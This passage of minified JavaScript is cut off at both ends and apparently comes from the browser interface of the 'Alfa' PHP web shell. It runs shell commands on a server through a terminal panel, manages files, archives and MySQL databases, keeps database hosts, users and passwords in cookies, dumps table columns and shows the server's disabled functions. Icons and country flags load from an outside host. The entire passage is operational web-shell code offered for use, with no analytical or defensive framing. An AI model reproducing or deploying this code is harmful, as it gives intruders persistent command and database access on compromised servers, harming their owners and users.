input[name=tbl_rows_checkbox\\[\\]]").forEach(function(e){e.checked&&r.push(e.value)}),0==r.length)return!1;alfaMysqlApi({db_id:t,db_target:a,ajax_id:"mysql_table_delete_all_query",db_info:{table:l,col_key:i,rows:r},post:{alfa2:"delete_all"}},function(e){if(""!=e)if((e=JSON.parse(e)).status){var a=0,i=d.querySelector("#"+t);d.querySelectorAll("#"+t+" .mysql-main input[name=tbl_rows_checkbox\\[\\]]").forEach(function(e){e.checked&&(a=e.getAttribute("row_id"),i.querySelector(".tbl_row_l"+a).remove())})}else alert(e.error)})}function alfaMysqlUpdateRow(e,t){var a=e.getAttribute("db_target"),i=e.getAttribute("db_id"),l=d.querySelector("#"+i),r=".mysql-insert-row",o=".mysql-insert-result",n="mysql_table_insert_query",s="insert",c={table:e.getAttribute("tbl_name")};if("edit"==t){var u=e.getAttribute("col_key"),p=e.getAttribute("key");r=".mysql-edit-row",o=".mysql-update-result",n="mysql_table_update_query",s="update",c.col_key=u,c.key=p}var f={};l.querySelectorAll(r+" input, "+r+" textarea").forEach(function(e){f.hasOwnProperty(e.name)||(f[e.name]={}),f[e.name]=e.value}),c.data=f,alfaMysqlApi({db_id:i,db_target:a,ajax_id:n,db_info:c,post:{alfa2:s}},function(e){if(0!=e.length){e=JSON.parse(e);var t=d.querySelector("#"+i+" "+o);t.style.display="block",e.status?t.innerHTML="Success...":t.innerHTML=e.error}})}function alfaMysqlLoadDataType(e){e=e.toUpperCase();var t=["INT","VARCHAR","TEXT","DATE",{key:"Numeric",vals:["TINYINT","SMALLINT","MEDIUMINT","INT","BIGINT","-","DECIMAL","FLOAT","DOUBLE","REAL","-","BIT","BOOLEAN","SERIAL"]},{key:"Date and time",vals:["DATE","DATETIME","TIMESTAMP","TIME","YEAR"]},{key:"String",vals:["CHAR","VARCHAR","-","TINYTEXT","TEXT","MEDIUMTEXT","LONGTEXT","-","BINARY","VARBINARY","-","TINYBLOB","MEDIUMBLOB","BLOB","LONGBLOB","-","ENUM","SET"]},{key:"Spatial",vals:["GEOMETRY","POINT","LINESTRING","POLYGON","MULTIPOINT","MULTILINESTRING","MULTIPOLYGON","GEOMETRYCOLLECTION"]},{key:"JSON",vals:["JSON"]}],a="",i=!1;for(var l in t)if("object"==typeof t[l]){for(var r in a+='<optgroup label="'+t[l].key+'">',t[l].vals)a+="<option"+(t[l].vals[r]!=e||i?"":" selected")+">"+t[l].vals[r]+"</option>",t[l].vals[r]==e&&(i=!0);a+="</optgroup>"}else a+="<option"+(t[l]!=e||i?"":" selected")+">"+t[l]+"</option>",t[l]==e&&(i=!0);return a}function alfaMysqlChangePage(e,t){var a=e.getAttribute("db_id"),i=0;if(void 0!==t){e=d.querySelector("#"+a+" select[name=mysql-q-pages]");var l=parseInt(e.getAttribute("pages"));if(i=parseInt(e.value),1==t?--i:++i,0==i||l<i)return!1;e.value=i}else i=e.value;var r=e.getAttribute("db_target"),o=e.getAttribute("tbl_name");alfaMysqlApi({db_id:a,db_target:r,ajax_id:"mysql_table_change_page",db_info:{table:o,page:i},post:{alfa2:"page"}},function(e){0!=e.length&&(e=JSON.parse(e),alfaMysqlReportBuilder(a,e),d.querySelector("#"+a+" .mysql-query-table").innerHTML=e.table)})}function alfaRemoveCookie(e){document.cookie=e+"=;Max-Age=0; path=/;"}function alfaLogOut(){alfaRemoveCookie("AlfaUser"),alfaRemoveCookie("AlfaPass"),location.reload()}var alfaAlertBox=function(e,t){this.types={success:{class:"alert-success",icon:"http://solevisible.com/icons/menu/check-mark1.svg"},error:{class:"alert-error",icon:"http://solevisible.com/icons/menu/warning.svg"}},this.show=function(a){if(""===a||null==a)throw'"msg parameter is empty"';var i=document.querySelector(e),l=document.createElement("DIV"),r=document.createElement("DIV"),o=document.createElement("DIV"),n=document.createElement("A"),s=document.createElement("div"),c=document.createElement("IMG"),d=this;if(s.style.display="inline-block",s.style.marginRight="10px",r.style.display="inline-block",o.classList.add("alert-content"),o.innerText=a,n.classList.add("alert-close"),n.setAttribute("href","#"),l.classList.add("alert-box"),c.src=this.types[t.type].icon,c.style.width="30px",s.appendChild(c),l.appendChild(s),t.hasOwnProperty("title")){var u=document.createElement("DIV");u.classList.add("alert-content-title"),u.innerText=t.title,r.appendChild(u)}if(r.appendChild(o),l.appendChild(r),t.hideCloseButton&&void 0!==t.hideCloseButton||l.appendChild(n),t.hasOwnProperty("type")&&l.classList.add(this.types[t.type].class),i.appendChild(l),n.addEventListener("click",function(e){e.preventDefault(),d.hide(l)}),!t.persistent)var p=setTimeout(function(){d.hide(l),clearTimeout(p)},t.closeTime)},this.hide=function(e){e.classList.add("hide");var t=setTimeout(function(){e.parentNode.removeChild(e),clearTimeout(t)},500)}};function alfaShowNotification(e,t,a,i,l){void 0===a&&(a="success"),void 0===i&&(i=!1),void 0===l&&(l=1e4);var r={closeTime:l,persistent:i,type:a,hideCloseButton:!1};void 0!==t&&(r.title=t),new alfaAlertBox("#alert-area",r).show(e)}function alfaSyncMenuToOpt(e,t){var a="",i="",l=null;void 0!==t?(a="view_archive",i=e,l=location):(a=e.name,i=e.getAttribute("fname"),l=e),"extract"==a?(alfa_can_add_opt=!0,l.href="#action=options&path="+c_+"&opt=deziper",g("deziper",null,"","",c_+"/"+i),d.querySelector(".opt-title").innerHTML="DeCompressor"):"compress"==a?(alfa_can_add_opt=!0,l.href="#action=options&path="+c_+"&opt=ziper",g("ziper",null,"","",c_+"/"+i),d.querySelector(".opt-title").innerHTML="Compressor"):"view_archive"==a&&(alfa_can_add_opt=!0,l.href="#action=options&path="+c_+"&opt=archive_manager",g("archive_manager",null,"",c_+"/"+i,""),d.querySelector(".opt-title").innerHTML="Archive Manager")}function doFilterName(e){var t="#filesman_holder_"+alfa_current_fm_id;setTimeout(function(){var a=new RegExp(e.value,"i");d.querySelectorAll(t+" .fmanager-row").forEach(function(e){-1==e.querySelector(".main_name").getAttribute("fname").search(a)?e.style.display="none":e.style.display="table-row"})},100)}function sortBySelectedValue(e,t){setCookie(t,e.options[e.selectedIndex].value,2012),g("FilesMan",c_)}function loadPopUpDatabase(e,t,a){if(console.log(t),$("database_window").style.display="block",void 0===t){try{d.querySelector(".sql-content.sql-active-content").classList.remove("sql-active-content")}catch(e){}try{d.querySelector(".sql-tabname.sql-active-tab").classList.remove("sql-active-tab")}catch(e){}try{d.querySelector(".sql-tabs .sql-newtab").remove()}catch(e){}var i="id_db_"+getRandom(10);d.querySelector("#database_window .content_options_holder .sql-contents").insertAdjacentHTML("afterbegin",'<div id="'+i+'" class="sql-content sql-active-content">'+e+"</div>"),d.querySelector("#database_window .content_options_holder .sql-tabs").insertAdjacentHTML("beforeend",'<div id="tab_'+i+'" opt_id="'+i+'" class="sql-tabname sql-active-tab" onclick="dbTabController(this);"><span style="font-weight:unset;">New DB Connection</span> <img opt_id="'+i+'" onclick="closeDatabase(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div><div class="sql-newtab" onclick="alfa_can_add_opt=true;g(\'sql\',null,\'\',\'\',\'\');" style="background-color:#800000;"><span style="font-weight:unset;">New Tab +</span></div>'),$(i).querySelectorAll(".db-opt-id").forEach(function(e){e.setAttribute("db_id",i)});try{$(i).querySelector(".getconfig").setAttribute("base_id",i)}catch(e){}return i}$(t).innerHTML=e;var l=$("tab_"+t);null!=l&&((-1==l.classList.value.indexOf("sql-active-tab")||database_window_is_minimized)&&(l.classList.add("tab-is-done"),alfaShowNotification("proccess is done...","DB: "+l.innerText)),database_window_is_minimized&&alfaUpdateOptionsBadge("database_window")),void 0!==mysql_cache[t]&&mysql_cache[t].hasOwnProperty("db")&&mysql_cache[t].db.length>0&&"update"!=a&&(d.querySelector("#tab_"+t+">span").innerHTML=mysql_cache[t].db),$(t).querySelectorAll(".db-opt-id").forEach(function(e){e.setAttribute("db_id",t)});try{$(t).querySelector(".getconfig").setAttribute("base_id",t)}catch(e){}database_window_is_minimized||(d.body.style.overflow="hidden")}function loadPopUpOpTions(e,t){console.log(e),alfa_before_do_action_id="",$("options_window").style.display="block";var a=$("option_"+e);if(alfa_can_add_opt){alfa_can_add_opt=!1;try{d.querySelector(".options_holder.option_is_active").classList.remove("option_is_active")}catch(e){}var i="",l=$("menu_opt_"+e).innerHTML;"market"==e?l="Alfa Market":"GetDisFunc"==e&&(l="Disable Functions");try{d.querySelector("#options_window .content_options_holder .options_tab .tab_name.tab_is_active").classList.remove("tab_is_active")}catch(e){}if(null!=a){var r=a.getAttribute("opt_count");null!=r?(i=parseInt(r)+1,a.setAttribute("opt_count",i)):(i=1,a.setAttribute("opt_count",i))}var o="option_"+e+i;d.querySelector("#options_window .content_options_holder .options_content").insertAdjacentHTML("afterbegin",'<div id="'+o+'" class="options_holder">'+t+"</div>"),d.querySelector("#options_window .content_options_holder .options_tab").insertAdjacentHTML("beforeend",'<div opt_id="'+o+'" onclick="optionsTabController(this);" title="'+l+'" id="tab_'+o+'" class="tab_name tab_is_active">'+l+' <img opt_id="'+o+'" onclick="closeOption(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div>'),$(o).classList.toggle("option_is_active"),d.querySelectorAll("#"+o+" form, #"+o+" a").forEach(function(t){var a=t.classList.value;if("getconfig"==a||"rejectme"==a)return!1;if("FORM"==t.tagName){var l=t.getAttribute("onsubmit");t.setAttribute("onsubmit",'alfaBeforeDoAction("'+e+i+'");'+l),t.setAttribute("opt_id",e+i)}else{l=t.getAttribute("onclick");t.setAttribute("onclick",'alfaBeforeDoAction("'+e+i+'");'+l)}});try{$(o).querySelector(".getconfig").setAttribute("base_id",e+i)}catch(e){}return e+i}a.innerHTML=t;var n=$("tab_option_"+e);null!=n&&((-1==n.classList.value.indexOf("tab_is_active")||options_window_is_minimized)&&(n.classList.add("tab-is-done"),alfaShowNotification("proccess is done...",n.innerText)),options_window_is_minimized&&alfaUpdateOptionsBadge("options_window")),d.querySelectorAll("#option_"+e+" form, #option_"+e+" a").forEach(function(t){var a=t.classList.value;if("getconfig"==a||"rejectme"==a)return!1;if("FORM"==t.tagName){var i=t.getAttribute("onsubmit");t.setAttribute("onsubmit",'alfaBeforeDoAction("'+e+'");'+i),t.setAttribute("opt_id",e)}else{i=t.getAttribute("onclick");t.setAttribute("onclick",'alfaBeforeDoAction("'+e+'");'+i)}});try{a.querySelector(".getconfig").setAttribute("base_id",e)}catch(e){}options_window_is_minimized||(d.body.style.overflow="hidden")}function alfaBeforeDoAction(e){alfa_before_do_action_id=e}function alfaLoaderOnTop(e){$("a_loader").style.display=e,d.body.style.overflow="block"==e?"hidden":"visible"}function alfaAjaxController(e){var t=e.getAttribute("parent");$("loader_"+t).remove(),"filesman_holder"==t.substr(0,15)&&($(t).style.minHeight="0"),_ALFA_AJAX_.hasOwnProperty(t)&&_ALFA_AJAX_[t].abort()}function closeDatabase(e,t){t.stopPropagation();var a=e.getAttribute("opt_id");if($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("sql-active-tab"))if((e=d.querySelectorAll(".sql-tabs .sql-tabname")).length>1){e[0].classList.add("sql-active-tab");var i=e[0].getAttribute("opt_id");null!=$(i)&&$(i).classList.toggle("sql-active-content")}else editorClose("database_window");d.querySelector("div[opt_id="+a+"]").remove()}function closeFmTab(e,t){t.stopPropagation();var a=e.getAttribute("fm_id"),i=$("filesman_tab_"+a);if(-1!=i.classList.value.indexOf("filesman-tab-active")&&(e=d.querySelectorAll("#filesman_tabs .filesman_tab")).length>1){e[0].classList.add("filesman-tab-active");var l=e[0].getAttribute("fm_id"),r="filesman_holder_"+l;if(null!=$(r)){$(r).classList.toggle("filesman-active-content");var o=$("filesman_tab_"+l).getAttribute("path");initDir(o),d.mf.c.value=o,alfa_current_fm_id=l}}i.remove(),$("filesman_holder_"+a).remove(),alfaFilesmanTabHideTitle()}function closeOption(e,t){t.stopPropagation();var a=e.getAttribute("opt_id");if($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("tab_is_active"))if((e=d.querySelectorAll(".options_tab .tab_name")).length>1){e[0].classList.add("tab_is_active");var i=e[0].getAttribute("opt_id");null!=$(i)&&$(i).classList.toggle("option_is_active")}else editorClose("options_window");d.querySelector("div[opt_id="+a+"]").remove()}function historyPanelController(e){"hidden"==e.getAttribute("mode")?(d.querySelector(".editor-explorer").style.display="block",d.querySelector(".editor-modal").style.marginLeft="20%",e.setAttribute("mode","visible"),e.style.left="19%",e.innerHTML="<<"):(d.querySelector(".editor-explorer").style.display="none",d.querySelector(".editor-modal").style.marginLeft="1%",e.setAttribute("mode","hidden"),e.style.left="0%",e.innerHTML=">>")}function closeTerminalContent(e,t){t.stopPropagation();var a=e.getAttribute("term_id");if(($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("active-terminal-tab"))&&(e=d.querySelectorAll(".terminal-tabs .terminal-tab")).length>1){e[0].classList.add("active-terminal-tab");var i=e[0].getAttribute("term_id");null!=$(i)&&$(i).classList.toggle("active-terminal-content")}d.querySelector("div[term_id="+a+"]").remove()}function closeEditorContent(e,t){t.stopPropagation();var a=e.getAttribute("opt_id");if(($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("editor-tab-active"))&&(e=d.querySelectorAll(".editor-tabs .editor-tab-name")).length>1){e[0].classList.add("editor-tab-active");var i=e[0].getAttribute("opt_id");null!=$(i)&&$(i).classList.toggle("editor-content-active")}d.querySelector("div[opt_id="+a+"]").remove()}function optionsTabController(e){try{d.querySelector(".options_holder.option_is_active").classList.remove("option_is_active")}catch(e){}var t=e.getAttribute("opt_id");if(null==t)return!1;$(t).classList.toggle("option_is_active");try{d.querySelector("#options_window .content_options_holder .options_tab \t.tab_name.tab_is_active").classList.remove("tab_is_active")}catch(e){}e.classList.remove("tab-is-done"),e.classList.add("tab_is_active"),d.querySelector(".opt-title").innerHTML=e.getAttribute("title"),alfaUpdateOptionsBadge("options_window")}function terminalTabController(e){try{d.querySelector(".terminal-tab.active-terminal-tab").classList.remove("active-terminal-tab")}catch(e){}try{d.querySelector(".terminal-content.active-terminal-content").classList.remove("active-terminal-content")}catch(e){}var t=e.getAttribute("term_id");if(null==t)return!1;$(t).classList.toggle("active-terminal-content"),e.classList.remove("tab-is-done"),e.classList.add("active-terminal-tab"),$(t).querySelector(".php-terminal-input").focus(),alfaUpdateOptionsBadge("cgiloader")}function filesmanTabController(e){try{d.querySelector(".ajaxarea.filesman-active-content").classList.remove("filesman-active-content")}catch(e){}try{d.querySelector(".filesman_tab.filesman-tab-active").classList.remove("filesman-tab-active")}catch(e){}var t=e.getAttribute("fm_id");if(null==t)return!1;alfa_current_fm_id=t,e.classList.add("filesman-tab-active"),e.classList.remove("tab-is-done"),$("filesman_holder_"+t).classList.toggle("filesman-active-content");var a=e.getAttribute("path");initDir(a),d.mf.c.value=a}function dbTabController(e){try{d.querySelector(".sql-content.sql-active-content").classList.remove("sql-active-content")}catch(e){}try{d.querySelector(".sql-tabname.sql-active-tab").classList.remove("sql-active-tab")}catch(e){}var t=e.getAttribute("opt_id");if(null==t)return!1;$(t).classList.toggle("sql-active-content"),e.classList.remove("tab-is-done"),e.classList.add("sql-active-tab"),alfaUpdateOptionsBadge("database_window")}function editorTabController(e,t){try{d.querySelector(".editor-contents.editor-content-active").classList.remove("editor-content-active")}catch(e){}var a=null;void 0===t?a=e.getAttribute("opt_id"):(a=e,e=$("tab_"+a));var i=editor_files["file_"+a.replace("editor_source_","")];if(void 0!==i&&(d.querySelector(".editor-path").innerHTML=(i.pwd+"/"+i.file).replace(/\/\//g,"/")),null==a)return!1;$(a).classList.toggle("editor-content-active");try{d.querySelector(".editor-tabs .editor-tab-name.editor-tab-active").classList.remove("editor-tab-active")}catch(e){}e.classList.remove("tab-is-done"),e.classList.add("editor-tab-active"),alfaUpdateOptionsBadge("editor")}function alfaUpdateOptionsBadge(e){var t=d.querySelector("#"+e+"-minimized .options_min_badge");if(null!=t){var a=d.querySelectorAll("#"+e+" .tab-is-done").length;t.innerHTML=a,t.style.visibility=a>0?"visible":"hidden"}}function alfaOpenPhpTerminal(e){if(php_temrinal_using_cgi&&void 0===e)showEditor("cgiloader");else{$("cgiloader").style.display="block",$("cgiloader").style.background="rgba(0, 0, 0, 0.57)",$("cgiframe").style.background="rgba(0, 0, 0, 0.81)",$("cgiframe").style.border="1px solid rgb(30, 86, 115)",$("cgiframe").style.height="90%",$("cgiframe").style.padding="3px",d.querySelector("#cgiloader .opt-title").innerHTML="Terminal";var t="",a="",i="terminal_id_"+getRandom(10);void 0===e&&(t=" active-terminal-content",a=" active-terminal-tab"),d.querySelector("#cgiframe .terminal-contents").insertAdjacentHTML("afterbegin",'<div id="'+i+'" class="terminal-content'+t+'"><div class="php-terminal-output"><div><button class="terminal-btn-fontctl" onClick="changeTerminalFontSize(\''+i+'\',1);">+</button><button class="terminal-btn-fontctl" onClick="changeTerminalFontSize(\''+i+"',0);\">-</button><input onchange=\"alfaTerminalChangecolor(this,'"+i+'\');" style="height: 18px;background: #dde2e2;" type="color"></div><pre class="ml1" style="border:unset;height: 90%;"></pre></div><div><form term_id="'+i+'" onSubmit="alfaExecTerminal(this);this.c.value=\'\';return false;" autocomplete="off" style="margin-top: 10px;"><div style="overflow: auto;white-space: nowrap;"><div style="display: inline-block;color:#4fbec3;margin-bottom:5px;margin-right:5px;">CWD:~# </div><div style="display: inline-block;color:#42ec42;" class="php-terminal-current-dir"></div></div><div style="position:relative;"><span style="color: #00ff08;font-size: 25px;">$ </span><input style="padding: 8px;font-size: 20px;width: 67%;border: 1px solid #27979B;padding-right:35px;" onkeyup="alfaWalkInTerminalHistory(this,event,\''+i+'\');" term_id="'+i+'" class="php-terminal-input" type="text" name="c" onfocus="closeHistoryCmd(\'free\',this);" placeholder="ls -la"><button class="button" style="color: #27979B;padding: 12px;margin-left: 10px;border-radius: 2px;font-weight: bolder;">ExeCute<button term_id="'+i+'" class="button" style="color: #27979B;padding: 12px;margin-left: 10px;border-radius: 2px;font-weight: bolder;" onClick="alfaExecTerminal(this, 1);return false;">Current Dir</button><div class="cmd-history-holder"><div class="commands-history-header">History</div><span onClick="clearTerminalHistory();" style="border-bottom: 1px solid;margin-bottom: 5px;display: inline-block;padding: 5px;color: #59de69;cursor: pointer;">Clear history</span><div style="overflow: auto;height: 82%;" class="commands-history"></div></div><div term_id="'+i+'" class="cmd-history-icon" mode="" onclick="closeHistoryCmd(this);"><img style="width:27px;" src="http://solevisible.com/icons/menu/time2.svg"></div></form></div></div></div>');try{$("terminal_new_tab").remove()}catch(e){}d.querySelector("#cgiframe .terminal-tabs").insertAdjacentHTML("beforeend",'<div onclick="terminalTabController(this);" term_id="'+i+'" id="tab_'+i+'" class="terminal-tab'+a+'">Terminal <img term_id="'+i+'" onclick="closeTerminalContent(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div>'),d.querySelector("#cgiframe .terminal-tabs").insertAdjacentHTML("beforeend",'<div onclick="alfaOpenPhpTerminal(true);" id="terminal_new_tab" style="background-color:#800000;" class="terminal-tab">New Tab +</div>'),terminal_walk_index[i]={index:0,key:-1},d.querySelector("#"+i+" .php-terminal-input").focus(),d.querySelector("#"+i+" .php-terminal-current-dir").innerHTML=c_,d.querySelector("#cgiloader-minimized .minimized-text").innerHTML="Terminal",alfaTerminalSetColorAndSize(i),php_temrinal_using_cgi=!0;var l=alfaGetTerminalHistory();for(var r in l)d.querySelector("#"+i+" .cmd-history-holder .commands-history").insertAdjacentHTML("afterbegin","<div onclick=\"d.querySelector('#"+i+' .php-terminal-input\').value = this.innerHTML;" class="history-cmd-line">'+l[r]+"</div>")}d.body.style.overflow="hidden"}function alfaTerminalSetColorAndSize(e){var t=getCookie("alfa-terminal-color"),a=getCookie("alfa-terminal-fontsize");void 0!==t&&(d.querySelector("#"+e+" pre.ml1").style.color=t),void 0!==a&&(d.querySelector("#"+e+" pre.ml1").style.fontSize=a)}function alfaTerminalChangecolor(e,t){d.querySelector("#"+t+" pre.ml1").style.color=e.value,setCookie("alfa-terminal-color",e.value,2012)}function alfaGetTerminalHistory(e){var t=getCookie("alfa-terminal-history");try{t=atob(t),t=JSON.parse(t)}catch(e){t=[]}return void 0!==e&&t.reverse(),t}function changeTerminalFontSize(e,t){var a=d.querySelector("#"+e+" pre.ml1"),i=parseInt(window.getComputedStyle(a,null).getPropertyValue("font-size")),l="";1==t?(l=i+1+"px",a.style.fontSize=l):(l=i-1+"px",a.style.fontSize=l),setCookie("alfa-terminal-fontsize",l,2012)}function alfaWalkInTerminalHistory(e,t,a){var i=t||window.event;if("38"==i.keyCode||"40"==i.keyCode||"37"==i.keyCode||"39"==i.keyCode)switch(i.keyCode){case 38:var l=alfaGetTerminalHistory(!0),r="";0==terminal_walk_index[a].index?(0==terminal_walk_index[a].key&&++terminal_walk_index[a].index,void 0!==(r=l[terminal_walk_index[a].index])?(e.value=r,++terminal_walk_index[a].index):(e.value="",terminal_walk_index[a].index=0)):terminal_walk_index[a].index<l.length&&(0==terminal_walk_index[a].key&&++terminal_walk_index[a].index,e.value=l[terminal_walk_index[a].index],++terminal_walk_index[a].index),terminal_walk_index[a].key=1;break;case 40:l=alfaGetTerminalHistory(!0);if(terminal_walk_index[a].index>=0)0!=terminal_walk_index[a].index&&(--terminal_walk_index[a].index,1==terminal_walk_index[a].key&&--terminal_walk_index[a].index),void 0!==(r=l[terminal_walk_index[a].index])?e.value=r:(e.value="",terminal_walk_index[a].index=0);terminal_walk_index[a].key=0;break;default:console.log(i.keyCode)}else terminal_walk_index[a].index=0}function clearTerminalHistory(){d.querySelectorAll(".commands-history").forEach(function(e){e.innerHTML=""}),setCookie("alfa-terminal-history","",2012)}function alfaAceToFullscreen(e){var t=e.getAttribute("ace_id");alfa_ace_editors.editor[t].container.requestFullscreen()}function closeHistoryCmd(e,t){if("free"==e){var a=t.getAttribute("term_id");return e=d.querySelector("#"+a+" .cmd-history-icon"),d.querySelector("#"+a+" .cmd-history-holder").style.visibility="hidden",d.querySelector("#"+a+" .cmd-history-holder").style.opacity="0",e.setAttribute("mode","off"),!1}var i=e.getAttribute("mode"),l=(a=e.getAttribute("term_id"),d.querySelector("#"+a+" .cmd-history-holder"));0==i.length||"off"==i?(l.style.visibility="visible",l.style.opacity="1",e.setAttribute("mode","on")):(l.style.visibility="hidden",l.style.opacity="0",e.setAttribute("mode","off"))}function geEvalAceValue(e){var t=e.querySelector(".php-evals-ace").getAttribute("id");return alfa_ace_editors.eval[t].getValue()}function alfaOpenArchive(e){var t=e.getAttribute("path"),a=e.getAttribute("fname"),i=e.getAttribute("base_id");if(".."==a&&"phar://"!=t.substr(0,7))return!1;var l="a="+alfab64("open_archive_dir")+"&c="+alfab64(c_)+"&alfa1="+alfab64(t)+"&alfa2="+alfab64(i)+"&ajax="+alfab64("true");_Ajax(d.URL,l,function(e){if("0"!=e){$("archive_base_"+i).innerHTML=e;var a=$("archive_dir_"+i).getAttribute("archive_name"),l=$("archive_dir_"+i).getAttribute("archive_full"),r="",o="";if(0!=(t=t.split(a)[1]).length){var n=(t=t.split("/")).length-1;for(var s in 0==t[n].length&&t.splice(n,1),t)0!=t.length&&(o+=t[s]+"/",r+='<a base_id="'+i+'" fname="'+t[s]+'" path="'+l+o+'" onclick="alfaOpenArchive(this);">'+t[s]+"/</a>")}d.querySelector("#archive_dir_"+i+" .archive_pwd_holder").innerHTML=r}},!1,"open_archive_dir")}function alfaDeleteConnectToDb(e){d.querySelectorAll(".dbh_"+e).forEach(function(e){e.remove()}),alfaConnectionHistoryUpdate(e)}function alfaConnectToDb(e,t){var a={};try{a=JSON.parse(atob(getCookie("alfa_connection_hist")))}catch(e){}var i=d.querySelector("#"+t+" div.sf");i.querySelector("input[name=sql_host]").value=a[e].host,i.querySelector("input[name=sql_login]").value=a[e].user,i.querySelector("input[name=sql_pass]").value=a[e].pass,(i.querySelector("input[name=sql_base]")?i.querySelector("input[name=sql_base]"):i.querySelector("select[name=sql_base]")).value=a[e].db,i.querySelector("input[name=sql_count]").checked=!0,d.querySelector("#"+t+" div.sf .db-connect-btn").click()}function alfaShowConnectionHistory(e){var t={},a=e.getAttribute("db_id"),i=e.getAttribute("mode");if(rows='<table class="connection-hist-table"><tr><th>*</th><th>Host</th><th>User</th><th>Pass</th><th>Database</th><th>Connect</th><th>Delete</th></tr>',"on"==i){e.setAttribute("mode","off");try{t=JSON.parse(atob(getCookie("alfa_connection_hist")))}catch(e){}var l,r=1;for(l in t){var o=t[l].user+"_"+t[l].db;rows+='<tr class="dbh_'+o+'"><th>'+r+"</th><th>"+t[l].host+"</th><th>"+t[l].user+"</th><th>"+t[l].pass+"</th><th>"+t[l].db+'</th><th><button style="margin: unset;" class="connection-his-btn" onclick=\'alfaConnectToDb("'+o+'","'+a+'");\'>Connect</button></th><th style="text-align: center;"><button style="margin: unset;" class="connection-his-btn connection-delete" onclick=\'alfaDeleteConnectToDb("'+o+"\");'>X</button></th></tr>",r++}rows+="</table"}else e.setAttribute("mode","on"),rows="";d.querySelector("#"+a+" .connection_history_holder").innerHTML=rows}function alfaConnectionHistoryUpdate(e){var t,a={};try{a=JSON.parse(atob(getCookie("alfa_connection_hist")))}catch(e){}for(t in mysql_cache)0!=mysql_cache[t].db.length&&(a[mysql_cache[t].user+"_"+mysql_cache[t].db]=mysql_cache[t]);void 0!==e&&delete a[e],setCookie("alfa_connection_hist",btoa(JSON.stringify(a)),2012)}function alfaExecTerminal(e,t){var a="";if(0==(a=void 0!==t?"cd "+c_:e.c.value).length)return!1;"l"==a?a="ls -trh --color":"ll"==a&&(a="ls -ltrh --color");var i=e.getAttribute("term_id");alfaloader(i,"block"),closeHistoryCmd("free",e);var l="";"FORM"==e.tagName&&(l=e.querySelector(".php-terminal-current-dir").innerHTML),0==(l=l.trim()).length&&(l=c_);var r="a="+alfab64("terminalExec")+"&c="+alfab64(l)+"&alfa1="+alfab64(a)+"&ajax="+alfab64("true");if(_Ajax(d.URL,r,function(e,t){alfaloader(t,"none");try{var a=$("tab_"+i);null!=a&&((-1==a.classList.value.indexOf("active-terminal-tab")||cgi_is_minimized)&&(a.classList.add("tab-is-done"),alfaShowNotification("proccess is done...",a.innerText)),cgi_is_minimized&&alfaUpdateOptionsBadge("cgiloader"))}catch(e){}e=JSON.parse(e),d.querySelector("#"+t+" .php-terminal-output > pre").innerHTML=e.output,0!=e.path.length&&(d.querySelector("#"+t+" .php-terminal-current-dir").innerHTML=e.path)},!1,i),void 0===t){d.querySelector("#"+i+" .cmd-history-holder .commands-history").insertAdjacentHTML("afterbegin","<div onclick=\"d.querySelector('#"+i+' .php-terminal-input\').value = this.innerHTML;" class="history-cmd-line">'+a+"</div>");var o=alfaGetTerminalHistory(),n=o.indexOf(a);-1!=n&&o.splice(n,1),o.push(a),setCookie("alfa-terminal-history",btoa(JSON.stringify(o)),2012)}d.querySelector("#"+i+" input.php-terminal-input").focus()}function pageChangedFilesMan(e){var t="filesman_holder_"+alfa_current_fm_id,a=getCookie(t+"_page_number"),i=e.innerText;if("<<"==i){a=d.querySelector("#"+t+" .active-page-number").innerText;if(!((a=parseInt(a))>1))return!1;i=a-1}if(">>"==i){a=d.querySelector("#"+t+" .active-page-number").innerText;a=parseInt(a);var l=d.querySelector("#"+t+" .last-page-number").innerHTML;if(!(a+1<=(l=parseInt(l))))return!1;i=a+1}setCookie(t+"_page_number",i,2012),g("FilesMan",c_)}function alfaColDumperInit(){var e=d.querySelector(".tab_name.tab_is_active").getAttribute("opt_id"),t=d.querySelector("#"+e),a=t.getElementsByClassName("box");for(i=0;i<a.length;i++)a[i].addEventListener("click",function(){null!=this.parentElement.querySelector(".nested")&&(this.parentElement.querySelector(".nested").classList.toggle("active"),this.classList.toggle("check-box"))});var i;a=t.getElementsByClassName("sub-box");for(i=0;i<a.length;i++)a[i].setAttribute("opt_id",e),a[i].addEventListener("click",function(){this.classList.toggle("check-box");var e=this.getAttribute("tbl"),t=this.getAttribute("opt_id");t=t.replace("option_",""),col_dumper_selected_data.hasOwnProperty(t)||(col_dumper_selected_data[t]={}),void 0===col_dumper_selected_data[t][e]&&(col_dumper_selected_data[t][e]=[]);var a=this.innerHTML,i=col_dumper_selected_data[t][e].indexOf(a);-1==i?col_dumper_selected_data[t][e].push(a):col_dumper_selected_data[t][e].splice(i,1)})}function showSymlinkPath(e,t){t.stopPropagation();var a=e.getAttribute("row"),i=$("td_row_"+a),l=e.getAttribute("opt_title"),r=e.getAttribute("fname");if(l=decodeURIComponent(r)+" -> "+l,null!=i){i.insertAdjacentHTML("afterbegin",'<div class="symlink_path" id="link_id_'+a+'">'+l+"</div>");var o=t.clientX,n=t.clientY-30;$("link_id_"+a).style.left=o+"px",$("link_id_"+a).style.top=n+"px"}}function hideSymlinkPath(e,t){t.stopPropagation(),$("link_id_"+e.getAttribute("row")).remove()}function alfagetFlags(){data="a="+alfab64("get_flags")+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),_Ajax(d.URL,data,function(e){var t=JSON.parse(e);t.hasOwnProperty("server")&&(d.querySelectorAll(".flag-holder")[0].innerHTML='<img draggable="false" title="'+t.server.name+'" src="http://solevisible.com/images/flags/48/'+t.server.code.toLowerCase()+'.png">',d.querySelectorAll(".flag-holder")[0].style.display="inline"),t.hasOwnProperty("client")&&(d.querySelectorAll(".flag-holder")[1].innerHTML='<img draggable="false" title="'+t.client.name+'" src="http://solevisible.com/images/flags/48/'+t.client.code.toLowerCase()+'.png">',d.querySelectorAll(".flag-holder")[1].style.display="inline")})}function colDumplerSelectType(e){var t=e.options[e.selectedIndex].value;$("coldumper-delimiter-input").style.display="delimiter"==t?"inline-block":"none"}function alfaCheckUrlHash(){var e=window.location.hash.substr(1),t=e.split("&").reduce(function(e,t){var a=t.split("=");return 